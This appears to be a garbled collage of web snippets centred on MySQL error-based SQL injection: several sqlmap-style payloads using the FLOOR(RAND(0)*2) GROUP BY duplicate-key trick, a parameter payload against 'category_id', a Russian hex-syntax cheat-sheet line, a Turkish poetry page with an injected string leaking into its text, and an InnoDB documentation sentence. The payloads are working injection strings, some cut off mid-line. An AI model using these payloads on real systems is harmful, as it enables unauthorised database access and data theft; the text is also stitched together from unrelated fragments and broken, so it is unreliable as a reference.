The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...AND (SELECT 2284 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(2284=2284,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- rbNR.
...(SELECT (CASE WHEN (6574=6574) THEN 1 ELSE 0 END)),0x3a7967673a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).
Синтаксис: 0xHEX_ЧИСЛО (SM): SELECT CHAR(0x66) (S) SELECT 0x5045 (это не число, а строка) (M) SELECT 0x50 + 0x45 (теперь это число) (M)
Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT(0x71706a7171
...MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR).
Şair Fdsfa Fdsa Fsdf isimli şaire ait 9785073 or (select 1 from (select count(*),concat((0x574352575653),0x5E,floor(rand(0)*2)) x from information_schema.tables group by x)a) adlı şiiri okumak için bu sayfayı ziyaret edebilirsiniz.
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.